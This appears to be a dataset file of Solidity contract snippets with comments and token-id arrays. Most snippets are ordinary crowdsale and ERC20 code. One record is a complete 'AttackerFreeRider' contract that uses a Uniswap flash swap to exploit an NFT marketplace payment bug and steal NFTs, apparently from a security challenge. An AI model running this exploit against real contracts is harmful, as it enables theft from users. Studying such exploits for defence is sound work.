* implemented by derived contracts.
* @param _payee The destination address of the funds.
*/
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple parties.
* The contract owner may close the deposit period, and allow for either withdrawal
* by the beneficiary, or refunds to the depositors.
*/
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
/**
* @dev Constructor.
* @param _beneficiary The beneficiary of the deposits.
*/
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
/**
* @dev Stores funds that may later be refunded.
* @param _refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded).
*/
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
/**
* @title RefundableCrowdsale
* @dev Extension of Crowdsale contract that adds a funding goal, and
* the possibility of users getting a refund if goal is not met.
*/
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund escrow used to hold funds while crowdsale is running
RefundEscrow private escrow;
/**
* @dev Constructor, creates RefundEscrow.
* @param _goal Funding goal
*/
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
/**
* @dev Investors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
/**
* @dev Checks whether funding goal was reached.
* @return Whether funding goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
/**
* @dev escrow finalization task, called when owner calls finalize()
*/
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
/**
* @dev Overrides Crowdsale fund forwarding, sending funds to escrow.
*/
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title TezaCrowdsale
* @dev This is an example of a fully fledged crowdsale.
* The way to add new features to a base crowdsale is by multiple inheritance.
* In this example we are providing following extensions:
* CappedCrowdsale - sets a max boundary for raised funds
* RefundableCrowdsale - set a min goal to be reached and returns funds if it's not met
*
* After adding multiple features it's good practice to run integration tests
* to ensure that subcontracts works together as intended.
*/
// XXX There doesn't seem to be a way to split this line that keeps solium
// happy. See:
// https://github.com/duaraghav8/Solium/issues/205
// --elopio - 2018-05-10
// solium-disable-next-line max-len
contract TezaCrowdsale is CappedCrowdsale, RefundableCrowdsale, AllowanceCrowdsale {
//mapping (address => uint256) internal referrers
mapping (address => uint256) public referrers;
uint internal constant REFERRER_PERCENT = 10;
modifier whenNotPaused() {
require((block.timestamp >= openingTime && block.timestamp <= openingTime + (40 days)) || (block.timestamp >= openingTime + (80 days) && block.timestamp < closingTime));
_;
}
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
StandardBurnableToken _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
AllowanceCrowdsale(_wallet)
{
//As goal needs to be met for a successful crowdsale
//the value needs to less or equal than a cap which is limit for accepted funds
require(_goal <= _cap);
require(_rate > 0);
}
function bytesToAddres(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
/**
* @dev Extend parent behavior requiring beneficiary to be in whitelist.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
super._preValidatePurchase(_beneficiary, _weiAmount);
if(block.timestamp <= openingTime + (18 days)) {
rate = 2000;
}else if(block.timestamp > openingTime + (18 days) && block.timestamp <= openingTime + (37 days)) {
rate = weiRaised <= 4000000000000000000000000 ? 1428 : 1250;
}else if(block.timestamp >= openingTime + (77 days) && block.timestamp <= openingTime + (108 days)) {
rate = weiRaised >= 50000000000000000000000000 ? 1000 : 1111;
}else{
rate = 2000;
}
}
function referrerBonus(address _referrer) public view returns (uint256) {
require(goalReached());
return referrers[_referrer];
}
function _forwardFunds() internal
{
// referer bonus
if(msg.data.length == 20) {
address referrerAddress = bytesToAddres(bytes(msg.data));
require(referrerAddress != address(token) && referrerAddress != msg.sender);
uint256 referrerAmount = msg.value.mul(REFERRER_PERCENT).div(100);
referrers[referrerAddress] = referrers[referrerAddress].add(referrerAmount);
}
}
} | * @dev Overrides parent behavior by transferring tokens from wallet. @param _beneficiary Token purchaser @param _tokenAmount Amount of tokens purchased/ | function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
| 2,255,611 | [
1,
13084,
982,
6885,
635,
906,
74,
20245,
2430,
628,
9230,
18,
225,
389,
70,
4009,
74,
14463,
814,
3155,
5405,
343,
14558,
225,
389,
2316,
6275,
16811,
434,
2430,
5405,
343,
8905,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
26672,
5157,
12,
203,
565,
1758,
389,
70,
4009,
74,
14463,
814,
16,
203,
565,
2254,
5034,
389,
2316,
6275,
203,
225,
262,
203,
565,
2713,
203,
225,
288,
203,
565,
1147,
18,
4626,
5912,
1265,
12,
2316,
16936,
16,
389,
70,
4009,
74,
14463,
814,
16,
389,
2316,
6275,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xf5dD452d05e9B4e23a7853f7040292bbE85D77C7/sources/src/periphery/AddressesProviderV2.sol | * @dev Returns the address of a contract. @param contractName Name of the contract (string). @return Address of the contract./ | function get(string memory contractName) public view returns (address) {
bytes32 contractNameHash = keccak256(abi.encodePacked(contractName));
return _contractAddresses[contractNameHash];
}
| 16,050,397 | [
1,
1356,
326,
1758,
434,
279,
6835,
18,
225,
6835,
461,
1770,
434,
326,
6835,
261,
1080,
2934,
327,
5267,
434,
326,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
336,
12,
1080,
3778,
6835,
461,
13,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
565,
1731,
1578,
6835,
461,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
16351,
461,
10019,
203,
203,
565,
327,
389,
16351,
7148,
63,
16351,
461,
2310,
15533,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
interface IFreeRiderNFTMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}
interface IUniswapV2Pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
) external
returns (bytes4);
}
interface IWETH9 {
function deposit() external payable;
function withdraw(uint wad) external;
function transfer(address dst, uint wad) external returns (bool);
function balanceOf(address addr) external returns (uint);
}
interface IFreeRiderBuyer {
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
returns (bytes4);
}
/// @title AttackerFreeRider
/// @author kaliberpoziomka
/// @notice Exploits NFT marketplace vulnerability to steal NFTs
/**
@dev
Exploit:
FreeRiderNFTMarketplace has a severe bug in _buyOne function.
During safeTransferFrom function, owner of NFT token is changed.
Next action is transfering ETH for bought NFT to the owner of NFT.
But at this time, owner is changed (the person who bought it), so in fact user buys NFT and get ETH back.
=====
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
====
We can exploit this vulnerability using flash swap at Uniswap
*/
contract AttackerFreeRider is IUniswapV2Callee, IERC721Receiver{
IFreeRiderNFTMarketplace market;
IFreeRiderBuyer buyer;
IWETH9 weth;
IUniswapV2Pair uniswap;
IERC721 nft;
uint256[] nft_ids = [0,1,2,3,4,5];
constructor(address _market, address _buyer, address _weth, address _uniswap, address _nft) {
market = IFreeRiderNFTMarketplace(_market);
buyer = IFreeRiderBuyer(_buyer);
weth = IWETH9(_weth);
uniswap = IUniswapV2Pair(_uniswap);
nft = IERC721(_nft);
}
// This function is a must to receive ERC721 NFTs
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure override
returns (bytes4){
return IERC721Receiver.onERC721Received.selector;
}
// Function that flash swap is calling.
// Here we exploit fact, that when buying nft we get ETH back
function uniswapV2Call(address, uint amount0, uint, bytes calldata) external override {
// exchange wrappedETH to ETH (to buy nfts)
weth.withdraw(amount0);
// Buy all nfts from marketplace using initial 15 eth
market.buyMany{value: address(this).balance}(nft_ids);
// exchange 15 ETH back to WETH
weth.deposit{value: address(this).balance}();
// pay back flash loan
weth.transfer(address(uniswap), weth.balanceOf(address(this)));
// tranfser nfts to the buyer
for(uint256 i = 0; i < nft_ids.length; i++){
nft.safeTransferFrom(address(this), address(buyer), i);
}
}
// Attack by using Uniswap's Flash Swap (like a flash loan, but you swap not lend)
// We flash lend 15 ETH (each NFT price)
function attack(uint amount) external payable {
uniswap.swap(amount, 0, address(this), new bytes(1));
}
receive() external payable {}
} | transfer from seller to buyer pay seller/ | contract AttackerFreeRider is IUniswapV2Callee, IERC721Receiver{
IFreeRiderNFTMarketplace market;
IFreeRiderBuyer buyer;
IWETH9 weth;
IUniswapV2Pair uniswap;
IERC721 nft;
uint256[] nft_ids = [0,1,2,3,4,5];
@dev
FreeRiderNFTMarketplace has a severe bug in _buyOne function.
During safeTransferFrom function, owner of NFT token is changed.
Next action is transfering ETH for bought NFT to the owner of NFT.
But at this time, owner is changed (the person who bought it), so in fact user buys NFT and get ETH back.
=====
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
====
We can exploit this vulnerability using flash swap at Uniswap
constructor(address _market, address _buyer, address _weth, address _uniswap, address _nft) {
market = IFreeRiderNFTMarketplace(_market);
buyer = IFreeRiderBuyer(_buyer);
weth = IWETH9(_weth);
uniswap = IUniswapV2Pair(_uniswap);
nft = IERC721(_nft);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure override
returns (bytes4){
return IERC721Receiver.onERC721Received.selector;
}
function uniswapV2Call(address, uint amount0, uint, bytes calldata) external override {
weth.withdraw(amount0);
weth.transfer(address(uniswap), weth.balanceOf(address(this)));
for(uint256 i = 0; i < nft_ids.length; i++){
nft.safeTransferFrom(address(this), address(buyer), i);
}
}
market.buyMany{value: address(this).balance}(nft_ids);
weth.deposit{value: address(this).balance}();
function uniswapV2Call(address, uint amount0, uint, bytes calldata) external override {
weth.withdraw(amount0);
weth.transfer(address(uniswap), weth.balanceOf(address(this)));
for(uint256 i = 0; i < nft_ids.length; i++){
nft.safeTransferFrom(address(this), address(buyer), i);
}
}
function attack(uint amount) external payable {
uniswap.swap(amount, 0, address(this), new bytes(1));
}
receive() external payable {}
} | 12,873,189 | [
1,
13866,
628,
29804,
358,
27037,
8843,
29804,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
6020,
484,
264,
9194,
54,
3585,
353,
467,
984,
291,
91,
438,
58,
22,
3005,
11182,
16,
467,
654,
39,
27,
5340,
12952,
95,
203,
565,
467,
9194,
54,
3585,
50,
4464,
3882,
24577,
13667,
31,
203,
565,
467,
9194,
54,
3585,
38,
16213,
27037,
31,
203,
565,
467,
59,
1584,
44,
29,
341,
546,
31,
203,
565,
467,
984,
291,
91,
438,
58,
22,
4154,
640,
291,
91,
438,
31,
203,
565,
467,
654,
39,
27,
5340,
290,
1222,
31,
203,
565,
2254,
5034,
8526,
290,
1222,
67,
2232,
273,
306,
20,
16,
21,
16,
22,
16,
23,
16,
24,
16,
25,
15533,
203,
203,
203,
36,
5206,
203,
9194,
54,
3585,
50,
4464,
3882,
24577,
711,
279,
25882,
7934,
316,
389,
70,
9835,
3335,
445,
18,
203,
26424,
4183,
5912,
1265,
445,
16,
3410,
434,
423,
4464,
1147,
353,
3550,
18,
203,
2134,
1301,
353,
7412,
310,
512,
2455,
364,
800,
9540,
423,
4464,
358,
326,
3410,
434,
423,
4464,
18,
225,
203,
31167,
622,
333,
813,
16,
3410,
353,
3550,
261,
5787,
6175,
10354,
800,
9540,
518,
3631,
1427,
316,
5410,
729,
25666,
1900,
423,
4464,
471,
336,
512,
2455,
1473,
18,
203,
894,
33,
203,
565,
1147,
18,
4626,
5912,
1265,
12,
2316,
18,
8443,
951,
12,
2316,
548,
3631,
1234,
18,
15330,
16,
1147,
548,
1769,
203,
203,
10239,
429,
12,
2316,
18,
8443,
951,
12,
2316,
548,
13,
2934,
4661,
620,
12,
8694,
774,
9148,
1769,
203,
894,
203,
203,
3218,
848,
15233,
305,
333,
331,
26064,
2
] |
./partial_match/97/0x154dfB0a0e3E81f0659ACB2973b185735dF88b10/sources/NFTsFactory.sol | pragma solidity ^0.6.12; | library JunctureUtils {
function uintToString(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
function uintToString(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
function uintToString(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
function uintToString(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return '0';
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
| 11,344,800 | [
1,
683,
9454,
18035,
560,
3602,
20,
18,
26,
18,
2138,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
